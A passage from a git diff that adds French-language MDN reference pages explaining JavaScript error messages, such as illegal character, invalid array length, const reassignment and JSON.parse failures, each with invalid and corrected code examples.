+// SyntaxError: identifier starts immediately after numeric literal
+
+var toto = 1vie;
+// SyntaxError: identifier starts immediately after numeric literal
+
+alert(1.toto);
+// SyntaxError: identifier starts immediately after numeric literal
+
+ +

Pour éviter ce problème, il faudra renommer les variables afin d'éviter d'utiliser un chiffre au début :

+ +
var vie1 = 'toto';
+var toto = vie1;
+
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/errors/illegal_character/index.html b/files/fr/web/javascript/reference/errors/illegal_character/index.html new file mode 100644 index 0000000000..1807fd5d72 --- /dev/null +++ b/files/fr/web/javascript/reference/errors/illegal_character/index.html @@ -0,0 +1,83 @@ +--- +title: 'SyntaxError: illegal character' +slug: Web/JavaScript/Reference/Erreurs/Illegal_character +tags: + - Erreurs + - JavaScript + - SyntaxError +translation_of: Web/JavaScript/Reference/Errors/Illegal_character +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
SyntaxError: Invalid character (Edge)
+SyntaxError: illegal character (Firefox)
+SyntaxError: Invalid or unexpected token (Chrome)
+
+ +

Type d'erreur

+ +

{{jsxref("SyntaxError")}}

+ +

Quel est le problème ?

+ +

Dans le code, il y a un élément de la syntaxe qui n'est pas à la bonne place. Pour détecter les erreurs de ce type, vous pouvez utiliser un éditeur de texte qui prend en charge la coloration syntaxique et qui met en évidence les caractères problématiques (par exemple si on a utilisé un tiret ( – ) au lieu d'un moins ( - ) ou des guillemets anglais ( “ ) à la place de doubles quotes ( " ).

+ +

Exemples

+ +

Caractères ressemblants

+ +

Certains caractères ressemblent à des caractères spéciaux en JavaScript mais n'en sont pas. Dans ce cas, lorsque le moteur analysera le code, il échouera.

+ +
“Ceci ressemble à une chaîne de caractères.”;
+// “ n'est pas le caractère "
+// SyntaxError: illegal character
+
+42 – 13;
+// – n'est pas le caractère -
+// SyntaxError: illegal character
+
+var toto = "truc";
+// ; (<37e>) n'est pas le caractère ;
+// SyntaxError: illegal character
+
+ +

On peut corriger ce point en utilisant les bons caractères :

+ +
"Ceci est vraiment une chaîne de caractères.";
+42 - 13;
+var toto = "truc";
+
+ +

Certains éditeurs et environnements de développement intégrés indiqueront la présence de tels caractères avec une coloration syntaxique différente. Toutefois, tous les éditeurs n'ont pas une telle fonctionnalité et si vous n'arrivez pas à déterminer l'origine du problème, il vaudra sans doute mieux supprimer la ligne incriminée et la resaisir manuellement.

+ +

Caractères oubliés

+ +

On oublie parfois un caractère.

+ +
var couleurs = ['#000', #333', '#666'];
+// SyntaxError: illegal character
+
+ +

Dans ce cas, il suffit de rajouter la quote pour '#333'.

+ +
var couleurs = ['#000', '#333', '#666'];
+ +

Caractères cachés

+ +

Lorsque vous copiez/collez du code depuis des sources externes, celles-ci peuvent contenir des caractères invalides difficiles à discerner.

+ +
var toto = 'truc';​
+// SyntaxError: illegal character
+
+ +

Lorsqu'on inspecte ce code grâce à un éditeur de texte (par exemple Vim), on peut voir qu'il y en fait un espace sans chasse (ZWSP) (U+200B).

+ +
var toto = 'truc';​<200b>
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/errors/in_operator_no_object/index.html b/files/fr/web/javascript/reference/errors/in_operator_no_object/index.html new file mode 100644 index 0000000000..18aed9f10b --- /dev/null +++ b/files/fr/web/javascript/reference/errors/in_operator_no_object/index.html @@ -0,0 +1,73 @@ +--- +title: 'TypeError: invalid ''in'' operand "x"' +slug: Web/JavaScript/Reference/Erreurs/in_operator_no_object +tags: + - Erreurs + - JavaScript + - TypeError +translation_of: Web/JavaScript/Reference/Errors/in_operator_no_object +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
TypeError: Invalid operand to 'in' (Edge)
+TypeError: right-hand side of 'in' should be an object, got 'x' (Firefox)
+TypeError: cannot use 'in' operator to search for 'x' in 'y' (Firefox, Chrome)
+
+ +

Type d'erreur

+ +

{{jsxref("TypeError")}}

+ +

Quel est le problème ?

+ +

L'opérateur in peut uniquement être utilisé pour vérifier qu'une propriété appartient à un objet. Il ne peut pas être utilisé pour rechercher des caractères dans des chaînes de caractères, des nombres ou dans d'autres types de données en dehors des objets.

+ +

Exemples

+ +

Rechercher un texte dans une chaîne de caractères

+ +

À la différence de certains langages de programmation (Python par exemple), JavaScript ne permet pas de chercher des textes dans une chaîne de caractères grâce à l'opérateur in.

+ +
"Coucou" in "Coucou monde";
+// TypeError: cannot use 'in' operator to search for 'Coucou' in 'Coucou monde'
+
+ +

On utilisera plutôt la méthode {{jsxref("String.prototype.indexOf()")}} :

+ +
"Coucou monde".indexOf("Coucou") !== -1;
+// true
+ +

null ou undefined ne fonctionnent pas

+ +

Avant d'utiliser in, il faut s'assurer que la valeur qu'on inspecte n'est pas {{jsxref("null")}} ou {{jsxref("undefined")}}.

+ +
var toto = null;
+"truc" in toto;
+// TypeError: cannot use 'in' operator to search for 'truc' in 'toto" (Chrome)
+// TypeError: right-hand side of 'in' should be an object, got null (Firefox)
+
+ +

L'opérateur in doit être utilisé avec un objet.

+ +
var toto = { machin: "bidule" };
+"truc" in toto; // false
+
+"PI" in Math; // true
+"pi" in Math; // false
+
+ +

Rechercher dans un tableau

+ +

Attention lorsqu'on utilise l'opérateur in quand on recherche une valeur dans un objet {{jsxref("Array")}}. L'opérateur in vérifie la présence de l'index mais pas la valeur présente à cet index.

+ +
var arbres = ['cèdre', 'bouleau', 'pin', 'sapin', 'érable'];
+3 in arbres; // true
+"pin" in arbres; // false
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/errors/index.html b/files/fr/web/javascript/reference/errors/index.html new file mode 100644 index 0000000000..a6ac12300b --- /dev/null +++ b/files/fr/web/javascript/reference/errors/index.html @@ -0,0 +1,23 @@ +--- +title: Référence des erreurs JavaScript +slug: Web/JavaScript/Reference/Erreurs +tags: + - JavaScript +translation_of: Web/JavaScript/Reference/Errors +--- +

{{jsSidebar("Errors")}}

+ +

Errare ECMAScript est…
+ Vous trouverez ci-après une liste d'erreurs causées par le moteur JavaScript. Ces erreurs peuvent aider à déboguer certains problèmes mais leur signification n'est pas toujours claire. Chacune de ces pages fournit donc des explications et informations supplémentaires à propos de ces erreurs.

+ +

D'un point de vue technique, chaque erreur est un objet {{jsxref("Error")}} et possède une propriété name (son nom) et une propriété message.

+ +

Liste d'erreurs

+ +

{{ListSubPages("/fr/docs/Web/JavaScript/Reference/Erreurs")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/errors/invalid_array_length/index.html b/files/fr/web/javascript/reference/errors/invalid_array_length/index.html new file mode 100644 index 0000000000..45b4dad5a6 --- /dev/null +++ b/files/fr/web/javascript/reference/errors/invalid_array_length/index.html @@ -0,0 +1,79 @@ +--- +title: 'RangeError: invalid array length' +slug: Web/JavaScript/Reference/Erreurs/Invalid_array_length +tags: + - Erreurs + - JavaScript + - RangeError +translation_of: Web/JavaScript/Reference/Errors/Invalid_array_length +--- +
{{jsSidebar("Erreurs")}}
+ +

Message

+ +
RangeError: Array length must be a finite positive integer (Edge)
+RangeError: invalid array length (Firefox)
+RangeError: Invalid array length (Chrome)
+RangeError: Invalid array buffer length (Chrome)
+
+ +

Type d'erreur

+ +

{{jsxref("RangeError")}}

+ +

Quel est le problème ?

+ +

Deux cas de figures peuvent causer cette erreur :

+ +
    +
  • La création d'un tableau {{jsxref("Array")}} ou {{jsxref("ArrayBuffer")}} dont la longueur est négative ou supérieure ou égale à 232
    • +
  • La modification de la propriété {{jsxref("Array.length")}} pour que celle-ci ait une valeur négative ou supérieure ou égale à 232.
    • +
+ +

Les tailles des objets Array et ArrayBuffer sont limitées car leurs longueurs (length) sont représentées par des entiers non-signés sur 32 bits. Ces valeurs sont donc nécessairement comprises dans l'intervalle allant de 0 à 232-1.

+ +

Si vous utilisez le constructeur pour Array, il est probable que vous souhaitiez utiliser la notation littérale plutôt que le constructeur. En effet, le premier argument de ce constructeur correspond à la longueur du tableau.

+ +

Sinon, vous pouvez réduire la longueur utilisée afin que celle-ci soit dans l'intervalle valide avant de l'utiliser pour une telle création ou modification.

+ +

Exemples

+ +

Exemples invalides

+ +
new Array(Math.pow(2, 40))
+new Array(-1)
+new ArrayBuffer(Math.pow(2, 32))
+new ArrayBuffer(-1)
+
+let a = [];
+a.length = a.length - 1;         // set -1 to the length property
+
+let b = new Array(Math.pow(2, 32) - 1);
+b.length = b.length + 1;         // set 2^32 to the length property
+
+ +

Exemples valides

+ +
[ Math.pow(2, 40) ]                     // [ 1099511627776 ]
+[ -1 ]                                  // [ -1 ]
+new ArrayBuffer(Math.pow(2, 32) - 1)
+new ArrayBuffer(0)
+
+let a = [];
+a.length = Math.max(0, a.length - 1);
+
+let b = new Array(Math.pow(2, 32) - 1);
+b.length = Math.min(0xffffffff, b.length + 1);
+
+// 0xffffffff est la notation hexadécimale
+// pour 2^32 - 1
+// ce qu'on peut également écrire (-1 >>> 0)
+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Array")}}
    • +
  • {{jsxref("Array.length")}}
    • +
  • {{jsxref("ArrayBuffer")}}
    • +
diff --git a/files/fr/web/javascript/reference/errors/invalid_assignment_left-hand_side/index.html b/files/fr/web/javascript/reference/errors/invalid_assignment_left-hand_side/index.html new file mode 100644 index 0000000000..5253b4cb3d --- /dev/null +++ b/files/fr/web/javascript/reference/errors/invalid_assignment_left-hand_side/index.html @@ -0,0 +1,54 @@ +--- +title: 'ReferenceError: invalid assignment left-hand side' +slug: Web/JavaScript/Reference/Erreurs/Invalid_assignment_left-hand_side +tags: + - Erreurs + - JavaScript + - ReferenceError +translation_of: Web/JavaScript/Reference/Errors/Invalid_assignment_left-hand_side +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
ReferenceError: invalid assignment left-hand side
+
+ +

Type d'erreur

+ +

{{jsxref("ReferenceError")}}.

+ +

Quel est le problème ?

+ +

Un affectation inattendue a eu lieu. Cela peut être dû à un mélange entre un opérateur d'affectation et un opérateur de comparaison. Un seul signe égal affectera une valeur à une variable alors que les opérateurs == ou === comparent des valeurs entre elles.

+ +

Exemples

+ +
if (Math.PI = 3 || Math.PI = 4) {
+  console.log('Nope !');
+}
+// ReferenceError: invalid assignment left-hand side
+
+var str = 'Hello, '
++= 'is it me '
++= 'you\'re looking for?';
+// ReferenceError: invalid assignment left-hand side
+
+ +

Dans l'instruction if, plutôt qu'une affectation, on voudra plutôt utiliser un opérateur == ou === et l'opérateur de concaténation (+) à la place pour la chaîne.

+ +
if (Math.PI == 3 || Math.PI == 4) {
+  console.log('no way!');
+}
+
+var str = 'Hello, '
++ 'from the '
++ 'other side!';
+
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/errors/invalid_const_assignment/index.html b/files/fr/web/javascript/reference/errors/invalid_const_assignment/index.html new file mode 100644 index 0000000000..83d21663c9 --- /dev/null +++ b/files/fr/web/javascript/reference/errors/invalid_const_assignment/index.html @@ -0,0 +1,90 @@ +--- +title: 'TypeError: invalid assignment to const "x"' +slug: Web/JavaScript/Reference/Erreurs/Invalid_const_assignment +tags: + - Erreurs + - JavaScript + - TypeError +translation_of: Web/JavaScript/Reference/Errors/Invalid_const_assignment +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
TypeError: invalid assignment to const "x" (Firefox)
+TypeError: Assignment to constant variable. (Chrome)
+TypeError: Redeclaration of const 'x' (Edge)
+
+ +

Type d'erreur

+ +

{{jsxref("TypeError")}}

+ +

Quel est le problème ?

+ +

Une constante est une valeur qui ne peut pas être modifiée lors de l'exécution du programme. Elle ne peut pas être modifiée grâce à une réaffectation ou grâce à une redéclaration. En JavaScript, les constantes sont déclarées grâce au mot-clé const.

+ +

Exemples

+ +

Redéclaration invalide

+ +

Si on affecte une valeur à une constante dans la même portée de bloc que celui qui contient l'affectation initiale, une exception sera levée :

+ +
const COLUMNS = 80;
+
+// ...
+
+COLUMNS = 120; // TypeError: invalid assignment to const `COLUMNS'
+ +

Résoudre le problème

+ +

Il existe plusieurs façons de résoudre ce problème et il faut au préalable comprendre le rôle de la constante en question.

+ +

Utiliser un autre nom

+ +

Si on souhaite déclarer une autre constante, on peut utiliser un autre nom que celui qui est déjà pris dans cette portée :

+ +
const COLUMNS = 80;
+const WIDE_COLUMNS = 120;
+ +

const, let ou var ?

+ +

const ne doit pas être utilisé si on ne souhaite pas déclarer de constante. Peut-être qu'on souhaite simplement déclarer une variable avec une portée de bloc grâce à let ou une variable globale avec var.

+ +
let columns = 80;
+
+// ...
+
+let columns = 120;
+
+ +

Gérer les portées

+ +

On peut également vérifier qu'on est dans la bonne portée. Est-ce que la constante devait apparaître dans la portée en question ou devait être utilisée dans une fonction ?

+ +
const COLUMNS = 80;
+
+function setupBigScreenEnvironment() {
+  const COLUMNS = 120;
+}
+ +

const et l'immuabilité

+ +

La déclaration const crée une référence en lecture seule vers une valeur. Elle ne signifie pas que la valeur en question est immuable mais uniquement que l'identifiant de la référence ne peut pas recevoir de nouvelle valeur. Ainsi, si le contenu est un objet, celui-ci pourra toujours être modifié :

+ +
const obj = {toto: 'truc'};
+obj = {toto: 'bidule'}; // TypeError: invalid assignment to const `obj'
+
+ +

En revanche, on peut modifier les propriétés :

+ +
obj.toto = 'bidule';
+obj; // Object { toto: "bidule" }
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/errors/invalid_date/index.html b/files/fr/web/javascript/reference/errors/invalid_date/index.html new file mode 100644 index 0000000000..cd05197ba4 --- /dev/null +++ b/files/fr/web/javascript/reference/errors/invalid_date/index.html @@ -0,0 +1,56 @@ +--- +title: 'RangeError: invalid date' +slug: Web/JavaScript/Reference/Erreurs/Invalid_date +tags: + - Erreurs + - JavaScript + - RangeError +translation_of: Web/JavaScript/Reference/Errors/Invalid_date +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
RangeError: invalid date (Edge)
+RangeError: invalid date (Firefox)
+RangeError: invalid time value (Chrome)
+RangeError: Provided date is not in valid range (Chrome)
+
+ +

Type d'erreur

+ +

{{jsxref("RangeError")}}

+ +

Quel est le problème ?

+ +

Une chaîne de caractères indiquant une date invalide a été fournie comme argument au constructeur {{jsxref("Date")}} ou à la méthode {{jsxref("Date.parse()")}}.

+ +

Exemples

+ +

Exemples invalides

+ +

Les chaînes de caractères qui ne peuvent pas être converties en date ou les dates qui contiennent des éléments illégaux pour le format ISO renvoient généralement {{jsxref("NaN")}}. Cependant, selon l'implémentation, les chaînes de caractères qui ne respectent pas le format ISO pour les dates peuvent déclencher une exception RangeError: invalid date. Les instructions suivantes déclencheront cette erreur dans Firefox :

+ +
new Date('toto-truc 2014');
+new Date('2014-25-23').toISOString();
+new Date('toto-truc 2014').toString();
+
+ +

En revanche, cette instruction renverra {{jsxref("NaN")}} dans Firefox :

+ +
Date.parse('toto-truc 2014'); // NaN
+ +

Pour plus de détails, consulter la documentation sur {{jsxref("Date.parse()")}}.

+ +

Exemples valides

+ +
new Date('05 October 2011 14:48 UTC');
+new Date(1317826080); // timestamp Unix pour le 5 octobre 2011 14:48:00 UTC
+ +

Voir aussi

+ +
    +
  • {{jsxref("Date")}}
    • +
  • {{jsxref("Date.prototype.parse()")}}
    • +
  • {{jsxref("Date.prototype.toISOString()")}}
    • +
diff --git a/files/fr/web/javascript/reference/errors/invalid_for-in_initializer/index.html b/files/fr/web/javascript/reference/errors/invalid_for-in_initializer/index.html new file mode 100644 index 0000000000..d7845dc2f9 --- /dev/null +++ b/files/fr/web/javascript/reference/errors/invalid_for-in_initializer/index.html @@ -0,0 +1,74 @@ +--- +title: 'SyntaxError: for-in loop head declarations may not have initializers' +slug: Web/JavaScript/Reference/Erreurs/Invalid_for-in_initializer +tags: + - Erreurs + - JavaScript + - Mode strict + - SyntaxError +translation_of: Web/JavaScript/Reference/Errors/Invalid_for-in_initializer +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
SyntaxError: for-in loop head declarations cannot have an initializer (Edge)
+SyntaxError: for-in loop head declarations may not have initializers (Firefox)
+SyntaxError: for-in loop variable declaration may not have an initializer. (Chrome)
+
+ +

Type d'erreur

+ +

{{jsxref("SyntaxError")}}, uniquement en mode strict.

+ +

Quel est le problème ?

+ +

L'en-tête d'une boucle for...in contient une expression d'initialisation, c'est-à-dire qu'une variable est déclarée et qu'on lui affecte une valeur. Ceci n'est pas autorisé en mode strict (et ignoré en mode non-strict).

+ +

Exemples

+ +

Cet exemple déclenchera une exception SyntaxError :

+ +
"use strict";
+
+var obj = {a: 1, b: 2, c: 3 };
+
+for (var i = 0 in obj) {
+  console.log(obj[i]);
+}
+
+// SyntaxError: for-in loop head declarations may not have initializers
+
+ +

Boucle for-in valide

+ +

On peut retirer l'initialisateur de l'en-tête de la boucle :

+ +
"use strict";
+
+var obj = {a: 1, b: 2, c: 3 };
+
+for (var i in obj) {
+  console.log(obj[i]);
+}
+
+ +

Parcours d'un tableau

+ +

Il ne faut pas utiliser de boucle for...in pour parcourir un tableau (Array). Peut-être souhaitiez-vous utiliser une boucle for pour parcourir le tableau ? Cette boucle for permet également d'utiliser un initialisateur :

+ +
var arr = [ "a", "b", "c" ]
+
+for (var i = 2; i < arr.length; i++) {
+  console.log(arr[i]);
+}
+
+// "c"
+ +

Voir aussi

+ +
    +
  • for...in
    • +
  • for...of interdit également d'utiliser un initialisateur en mode strict et non-strict
    • +
  • for permet de définir un initialisateur lors de l'itération et doit être privilégié pour parcourir un tableau
    • +
diff --git a/files/fr/web/javascript/reference/errors/invalid_for-of_initializer/index.html b/files/fr/web/javascript/reference/errors/invalid_for-of_initializer/index.html new file mode 100644 index 0000000000..a6f4d98483 --- /dev/null +++ b/files/fr/web/javascript/reference/errors/invalid_for-of_initializer/index.html @@ -0,0 +1,63 @@ +--- +title: >- + SyntaxError: a declaration in the head of a for-of loop can't have an + initializer +slug: Web/JavaScript/Reference/Erreurs/Invalid_for-of_initializer +tags: + - Erreurs + - JavaScript + - SyntaxError +translation_of: Web/JavaScript/Reference/Errors/Invalid_for-of_initializer +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
SyntaxError: for-of loop head declarations cannot have an initializer (Edge)
+SyntaxError: a declaration in the head of a for-of loop can't have an initializer (Firefox)
+SyntaxError: for-of loop variable declaration may not have an initializer. (Chrome)
+
+ +

Type d'erreur

+ +

{{jsxref("SyntaxError")}}

+ +

Quel est le problème ?

+ +

L'en-tête d'une boucle for...of contient une expression d'initialisation, c'est-à-dire qu'une variable est déclarée et qu'on lui affecte une valeur. Ceci n'est pas autorisé pour les boucles for-of. En revanche, les boucles for permettent d'avoir un initialisateur.

+ +

Exemples

+ +

Boucles for-of invalides

+ +
let iterable = [10, 20, 30];
+
+for (let value = 50 of iterable) {
+  console.log(value);
+}
+
+// SyntaxError: a declaration in the head of a for-of loop can't
+// have an initializer
+ +

Boucles for-of valides

+ +

Il faut retirer l'initialisateur de l'en-tête de la boucle pour ne plus avoir l'erreur. Si cette valeur devait servir d'incrément, on peut ajouter l'addition dans le corps de la boucle.

+ +
let iterable = [10, 20, 30];
+
+for (let value of iterable) {
+  value += 50;
+  console.log(value);
+}
+// 60
+// 70
+// 80
+
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/errors/invalid_right_hand_side_instanceof_operand/index.html b/files/fr/web/javascript/reference/errors/invalid_right_hand_side_instanceof_operand/index.html new file mode 100644 index 0000000000..ef5cffa224 --- /dev/null +++ b/files/fr/web/javascript/reference/errors/invalid_right_hand_side_instanceof_operand/index.html @@ -0,0 +1,62 @@ +--- +title: 'TypeError: invalid ''instanceof'' operand ''x''' +slug: Web/JavaScript/Reference/Erreurs/invalid_right_hand_side_instanceof_operand +tags: + - Error + - Errors + - JavaScript + - Reference + - TypeError +translation_of: Web/JavaScript/Reference/Errors/invalid_right_hand_side_instanceof_operand +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
TypeError: invalid 'instanceof' operand "x" (Firefox)
+TypeError: "x" is not a function (Firefox)
+TypeError: Right-hand side of 'instanceof' is not an object (Chrome)
+TypeError: Right-hand side of 'instanceof' is not callable (Chrome)
+ +

Type d'erreur

+ +

{{jsxref("TypeError")}}

+ +

Quel est le problème ?

+ +

L'opérateur instanceof attend un opérande droit qui soit un objet constructeur, c'est-à-dire un objet possédant une propriété prototype et qui puisse être appelé.

+ +

Exemples

+ +
"test" instanceof ""; // TypeError: invalid 'instanceof' operand ""
+42 instanceof 0;      // TypeError: invalid 'instanceof' operand 0
+
+function Toto() {}
+var f = Toto();        // Toto() est appelé et renvoie undefined
+var x = new Toto();
+
+x instanceof f;       // TypeError: invalid 'instanceof' operand f
+x instanceof x;       // TypeError: x is not a function
+
+ +

Pour corriger ces erreurs, il faut remplacer l'opérateur instanceof avec l'opérateur typeof ou s'assurer que l'opérande droit est la fonction et non le résultat de son évaluation.

+ +
typeof "test" == "string";  // true
+typeof 42 == "number"       // true
+
+function Toto() {}
+var f = Toto;               // On n'appelle pas Toto.
+var x = new Toto();
+
+x instanceof f;             // true
+x instanceof Toto;          // true
+
+ +

Voir aussi

+ + + +

 

diff --git a/files/fr/web/javascript/reference/errors/is_not_iterable/index.html b/files/fr/web/javascript/reference/errors/is_not_iterable/index.html new file mode 100644 index 0000000000..1e3b4af06c --- /dev/null +++ b/files/fr/web/javascript/reference/errors/is_not_iterable/index.html @@ -0,0 +1,128 @@ +--- +title: 'TypeError: ''x'' is not iterable' +slug: Web/JavaScript/Reference/Erreurs/is_not_iterable +tags: + - Error + - JavaScript + - Reference + - TypeError +translation_of: Web/JavaScript/Reference/Errors/is_not_iterable +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
TypeError: 'x' is not iterable (Firefox, Chrome)
+TypeError: 'x' is not a function or its return value is not iterable (Chrome)
+
+ +

Type d'erreur

+ +

{{jsxref("TypeError")}}

+ +

Quel est le problème ?

+ +

La valeur passée comme opérande droit de for…of ou comme argument d'une fonction telle que {{jsxref("Promise.all")}} ou {{jsxref("TypedArray.from")}} n'est pas un objet itérable.  Un objet itérable peut être un objet itérable natif tel qu'un objet {{jsxref("Array")}}, {{jsxref("String")}} ou {{jsxref("Map")}} ou le résultat d'un générateur ou un objet qui implémente le protocole itérable.

+ +

Exemples

+ +

Parcourir les propriétés d'un objet

+ +

En JavaScript, les objets ne sont pas itérables car ils n'implémentent pas le protocole itérable. On ne peut donc pas utiliser for...of afin d'en parcourir les propriétés.

+ +
var obj = { 'France': 'Paris', 'England': 'London' };
+for (let p of obj) { // TypeError: obj is not iterable
+    // …
+}
+
+ +

Si on souhaite utiliser un itérateur pour parcourir les propriétés (leurs noms ou leurs valeurs), on pourra utiliser les méthodes {{jsxref("Object.keys")}} ou {{jsxref("Object.entries")}} qui fournissent des itérateurs :

+ +
var obj = { 'France': 'Paris', 'England': 'London' };
+// On parcourt les noms des propriétés
+for (let country of Object.keys(obj)) {
+    var capital = obj[country];
+    console.log(country, capital);
+}
+
+for (const [country, capital] of Object.entries(obj))
+    console.log(country, capital);
+
+ +

On pourrait également utiliser un objet {{jsxref("Map")}} :

+ +
var map = new Map;
+map.set('France', 'Paris');
+map.set('England', 'London');
+// On parcourt les noms des propriétés
+for (let country of map.keys()) {
+    let capital = map[country];
+    console.log(country, capital);
+}
+
+for (let capital of map.values())
+    console.log(capital);
+
+for (const [country, capital] of map.entries())
+    console.log(country, capital);
+
+ +

Itérer grâce à un générateur

+ +

Les générateurs sont des fonctions qui, lorsqu'elles sont appelées, produisent des objets itérables.

+ +
function* generate(a, b) {
+  yield a;
+  yield b;
+}
+
+for (let x of generate) // TypeError: generate is not iterable
+    console.log(x);
+
+ +

Lorsqu'elles ne sont pas appelées, l'objet {{jsxref("Function")}} correspondant au générateur peut être appelé mais il n'est pass itérable. Il ne faut donc pas oublier d'invoquer le générateur afin de parcourir les valeurs de l'itérateur qu'il produit.

+ +
function* generate(a, b) {
+    yield a;
+    yield b;
+}
+
+for (let x of generate(1,2))
+    console.log(x);
+
+ +

Parcourir un itérable spécifique

+ +

Les itérables spécifiques (custom iterables) peuvent être créés en implémentant la méthode {{jsxref("Symbol.iterator")}}. En implémentant cette méthode, il faut s'assurer que la valeur renvoyée est un objet qui est un itérateur. Autrement dit, l'objet renvoyé doit posséder une méthode next().

+ +
const monIterableVide = {
+    [Symbol.iterator]() {
+        return [] // [] est un iterable mais pas un itérateur
+                  // car il n'a pas de méthode next
+    }
+}
+
+Array.from(monIterableVide);  // TypeError: monIterableVide is not iterable
+
+ +

Voici une implémentation correcte :

+ +
const monIterableVide = {
+    [Symbol.iterator]() {
+        return [][Symbol.iterator]()
+    }
+}
+
+Array.from(monIterableVide);  // []
+
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/errors/json_bad_parse/index.html b/files/fr/web/javascript/reference/errors/json_bad_parse/index.html new file mode 100644 index 0000000000..b09d02bdaf --- /dev/null +++ b/files/fr/web/javascript/reference/errors/json_bad_parse/index.html @@ -0,0 +1,112 @@ +--- +title: 'SyntaxError: JSON.parse: bad parsing' +slug: Web/JavaScript/Reference/Erreurs/JSON_bad_parse +tags: + - Erreurs + - JSON + - JavaScript + - NeedsExample + - SyntaxError +translation_of: Web/JavaScript/Reference/Errors/JSON_bad_parse +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
SyntaxError: JSON.parse: unterminated string literal
+SyntaxError: JSON.parse: bad control character in string literal
+SyntaxError: JSON.parse: bad character in string literal
+SyntaxError: JSON.parse: bad Unicode escape
+SyntaxError: JSON.parse: bad escape character
+SyntaxError: JSON.parse: unterminated string
+SyntaxError: JSON.parse: no number after minus sign
+SyntaxError: JSON.parse: unexpected non-digit
+SyntaxError: JSON.parse: missing digits after decimal point
+SyntaxError: JSON.parse: unterminated fractional number
+SyntaxError: JSON.parse: missing digits after exponent indicator
+SyntaxError: JSON.parse: missing digits after exponent sign
+SyntaxError: JSON.parse: exponent part is missing a number
+SyntaxError: JSON.parse: unexpected end of data
+SyntaxError: JSON.parse: unexpected keyword
+SyntaxError: JSON.parse: unexpected character
+SyntaxError: JSON.parse: end of data while reading object contents
+SyntaxError: JSON.parse: expected property name or '}'
+SyntaxError: JSON.parse: end of data when ',' or ']' was expected
+SyntaxError: JSON.parse: expected ',' or ']' after array element
+SyntaxError: JSON.parse: end of data when property name was expected
+SyntaxError: JSON.parse: expected double-quoted property name
+SyntaxError: JSON.parse: end of data after property name when ':' was expected
+SyntaxError: JSON.parse: expected ':' after property name in object
+SyntaxError: JSON.parse: end of data after property value in object
+SyntaxError: JSON.parse: expected ',' or '}' after property value in object
+SyntaxError: JSON.parse: expected ',' or '}' after property-value pair in object literal
+SyntaxError: JSON.parse: property names must be double-quoted strings
+SyntaxError: JSON.parse: expected property name or '}'
+SyntaxError: JSON.parse: unexpected character
+SyntaxError: JSON.parse: unexpected non-whitespace character after JSON data
+SyntaxError: JSON.parse Error: Invalid character at position {0} (Edge)
+
+ +

Type d'erreur

+ +

{{jsxref("SyntaxError")}}

+ +

Quel est le problème ?

+ +

Lorsque la méthode {{jsxref("JSON.parse()")}} analyse (parse) une chaîne de caractères en JSON, cette chaîne doit être du JSON valide et une exception sera levée si la syntaxe est incorrecte.

+ +

Exemples

+ +

JSON.parse() n'accepte pas les virgules en fin de tableau

+ +

Les deux lignes qui suivent déclencheront une exception SyntaxError :

+ +
JSON.parse('[1, 2, 3, 4, ]');
+JSON.parse('{"foo" : 1, }');
+// SyntaxError JSON.parse: unexpected character
+// at line 1 column 14 of the JSON data
+
+ +

Pour que la méthode puisse analyser le JSON correctement, on évitera les virgules en fin de tableau :

+ +
JSON.parse('[1, 2, 3, 4 ]');
+JSON.parse('{"foo" : 1 }');
+ +

Les noms des propriétés doivent être entre double quotes

+ +

On ne peut pas utiliser de quotes simples pour indiquer le nom d'une propriété (ex. 'toto').

+ +
JSON.parse("{'toto' : 1 }");
+// SyntaxError: JSON.parse: expected property name or '}'
+// at line 1 column 2 of the JSON data
+ +

À la place, on écrira "toto" :

+ +
JSON.parse('{"toto" : 1 }');
+ +

Zéros en début de nombres et points décimaux

+ +

On ne peut pas utiliser de zéros en début de nombre (ex. 01). Par ailleurs, les nombres décimaux doivent avoir une partie décimale, on ne peut pas terminer un nombre par un point.

+ +
JSON.parse('{"toto" : 01 }');
+// SyntaxError: JSON.parse: expected ',' or '}' after property value
+// in object at line 1 column 2 of the JSON data
+
+JSON.parse('{"toto" : 1. }');
+// SyntaxError: JSON.parse: unterminated fractional number
+// at line 1 column 2 of the JSON data
+
+ +

Pour que cela fonctionne, on écrira simplement 1 sans 0 devant et au moins un chiffre après le séparateur décimal :

+ +
JSON.parse('{"toto" : 1 }');
+JSON.parse('{"toto" : 1.0 }');
+
+ +

Voir aussi

+ +
    +
  • {{jsxref("JSON")}}
    • +
  • {{jsxref("JSON.parse()")}}
    • +
  • {{jsxref("JSON.stringify()")}}
    • +
diff --git a/files/fr/web/javascript/reference/errors/malformed_formal_parameter/index.html b/files/fr/web/javascript/reference/errors/malformed_formal_parameter/index.html new file mode 100644 index 0000000000..cd40696f25 --- /dev/null +++ b/files/fr/web/javascript/reference/errors/malformed_formal_parameter/index.html @@ -0,0 +1,64 @@ +--- +title: 'SyntaxError: Malformed formal parameter' +slug: Web/JavaScript/Reference/Erreurs/Malformed_formal_parameter +tags: + - Erreurs + - JavaScript + - SyntaxError +translation_of: Web/JavaScript/Reference/Errors/Malformed_formal_parameter +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
SyntaxError: Expected {x} (Edge)
+SyntaxError: malformed formal parameter (Firefox)
+
+ +

Type d'erreur

+ +

{{jsxref("SyntaxError")}}

+ +

Quel est le problème ?

+ +

La méthode {{jsxref("Function()")}} a été utilisée avec au moins deux arguments. Le dernier argument correspond au code source de la nouvelle fonction qui est créée. Les autres arguments sont la liste des arguments passés à la fonction.

+ +

